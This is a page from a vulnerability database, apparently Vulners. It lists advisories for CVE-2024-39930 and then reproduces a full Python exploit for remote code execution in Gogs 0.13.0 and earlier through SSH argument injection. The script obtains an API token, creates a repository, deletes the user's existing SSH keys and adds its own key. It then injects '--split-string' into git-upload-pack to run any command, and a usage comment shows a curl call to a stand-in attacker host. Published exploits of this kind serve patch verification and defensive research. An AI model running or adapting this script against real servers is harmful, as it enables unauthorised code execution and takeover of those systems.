| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
| gogs -- Multiple vulnerabilities | 15 Nov 202400:00 | – | freebsd | |
| CVE-2024-39930 | 4 Jul 202418:56 | – | circl | |
| Gogs Security Breach | 4 Jul 202400:00 | – | cnnvd | |
| CVE-2024-39930 | 4 Jul 202400:00 | – | cve | |
| CVE-2024-39930 | 4 Jul 202400:00 | – | cvelist | |
| EUVD-2024-3615 | 3 Oct 202520:07 | – | euvd | |
| FreeBSD : gogs -- Multiple vulnerabilities (0230343c-1908-11f0-accc-b42e991fc52e) | 16 Apr 202500:00 | – | nessus | |
| Duplicate Advisory: github.com/gogs/gogs affected by CVE-2024-39930 | 4 Jul 202418:31 | – | github | |
| Gogs has an argument Injection in the built-in SSH server | 23 Dec 202420:38 | – | github | |
| CVE-2024-39930 | 4 Jul 202416:15 | – | nvd |
# Exploit Title: gogs 0.13.0 - Remote Code Execution (RCE)
# Date: 27th June, 2025
# Exploit Author: Ardayfio Samuel Nii Aryee
# Software link: https://github.com/gogs/gogs.git
# Version: gogs <=0.13.0
# Tested on: Ubuntu
# CVE: CVE-2024-39930
# ===============================
# Example Usage:
# python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "touch /tmp/pwned"
# python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "curl http://atacker.com" --ssh-port 2222
# ===============================
import requests
import paramiko
import base64
import random
import string
import sys
import argparse
from urllib.parse import urlparse
API_BASE_URL = ""
def generate_random_string(length=8, charset=None):
if charset is None:
charset = string.ascii_letters + string.digits
return ''.join(random.choices(charset, k=length))
def make_headers(token=None, basic_auth=None):
headers = {"Content-Type": "application/json"}
if token:
headers["Authorization"] = f"token {token}"
elif basic_auth:
b64 = base64.b64encode(basic_auth.encode()).decode()
headers["Authorization"] = f"Basic {b64}"
return headers
def http_post(path, json=None, headers=None):
url = f"{API_BASE_URL}{path}"
response = requests.post(url, json=json, headers=headers)
response.raise_for_status()
return response
def http_get(path, headers=None):
url = f"{API_BASE_URL}{path}"
response = requests.get(url, headers=headers)
response.raise_for_status()
return response
def http_delete(path, headers=None):
url = f"{API_BASE_URL}{path}"
response = requests.delete(url, headers=headers)
response.raise_for_status()
return response
def obtain_api_token(username, password):
auth = f"{username}:{password}"
headers = make_headers(basic_auth=auth)
data = {"name": generate_random_string()}
try:
response = http_post(f"/users/{username}/tokens", json=data, headers=headers)
token = response.json()['sha1']
print(f"[+] API Token Acquired: {token}")
return token
except Exception as e:
print(f"[!] Failed to obtain API token: {e}")
sys.exit(1)
def create_repo(token):
repo_name = generate_random_string()
headers = make_headers(token=token)
data = {
"name": repo_name,
"description": "Auto-created repository",
"private": False
}
try:
response = http_post("/user/repos", json=data, headers=headers)
full_name = response.json()['full_name']
print(f"[+] Repository Created: {full_name}")
return full_name
except Exception as e:
print(f"[!] Failed to create repository: {e}")
sys.exit(1)
def delete_existing_ssh_keys(token):
headers = make_headers(token=token)
try:
response = http_get("/user/keys", headers=headers)
keys = response.json()
for key in keys:
key_id = key['id']
http_delete(f"/user/keys/{key_id}", headers=headers)
print(f"[+] Deleted SSH Key ID: {key_id}")
except Exception as e:
print(f"[!] Failed to delete existing SSH keys: {e}")
sys.exit(1)
def add_ssh_key(public_key_path, token):
delete_existing_ssh_keys(token)
try:
with open(public_key_path, 'r') as f:
key = f.read()
except Exception as e:
print(f"[!] Failed to read public key file: {e}")
sys.exit(1)
headers = make_headers(token=token)
data = {
"title": generate_random_string(),
"key": key
}
try:
response = http_post("/user/keys", json=data, headers=headers)
print(f"[+] SSH Key Added: {response.status_code}")
except Exception as e:
print(f"[!] Failed to add SSH key: {e}")
sys.exit(1)
def exploit(ssh_user, ssh_host, ssh_port, private_key_path, repo_path, command):
try:
key = paramiko.RSAKey.from_private_key_file(private_key_path)
except Exception as e:
print(f"[!] Failed to load SSH key: {e}")
sys.exit(1)
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(hostname=ssh_host, port=int(ssh_port), username=ssh_user, pkey=key)
session = client.get_transport().open_session()
print("[+] Executing command...... ")
session.set_environment_variable("--split-string", command)
session.exec_command(f"git-upload-pack {repo_path}")
stdout = session.makefile('rb', 1024)
stderr = session.makefile_stderr('rb', 1024)
print("STDERR:", stderr.read().decode())
print("STDOUT:", stdout.read().decode())
session.close()
client.close()
except Exception as e:
print(f"[!] Error: {e}")
sys.exit(1)
def main():
global API_BASE_URL
parser = argparse.ArgumentParser(description="Exploit Gogs SSH argument injection (CVE-2024-39930)")
parser.add_argument("url", help="Gogs application URL (e.g., http://skillforge.lab:3000)")
parser.add_argument("auth", help="Gogs credentials in the format username:password")
parser.add_argument("private_key", help="Path to private SSH key")
parser.add_argument("public_key", help="Path to public SSH key")
parser.add_argument("command", help="Command to execute remotely")
parser.add_argument("--ssh-port", type=int, default=None, help="Optional: custom SSH port to use")
args = parser.parse_args()
parsed_url = urlparse(args.url)
API_BASE_URL = f"{parsed_url.scheme}://{parsed_url.netloc}/api/v1"
ssh_host = parsed_url.hostname
ssh_port = args.ssh_port if args.ssh_port else (parsed_url.port or 22)
try:
username, password = args.auth.split(":")
except ValueError:
print("[!] Invalid format for auth argument")
sys.exit(1)
token = obtain_api_token(username, password)
repo_path = create_repo(token)
add_ssh_key(args.public_key, token)
exploit(
ssh_user=username,
ssh_host=ssh_host,
ssh_port=ssh_port,
private_key_path=args.private_key,
repo_path=repo_path,
command=args.command
)
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation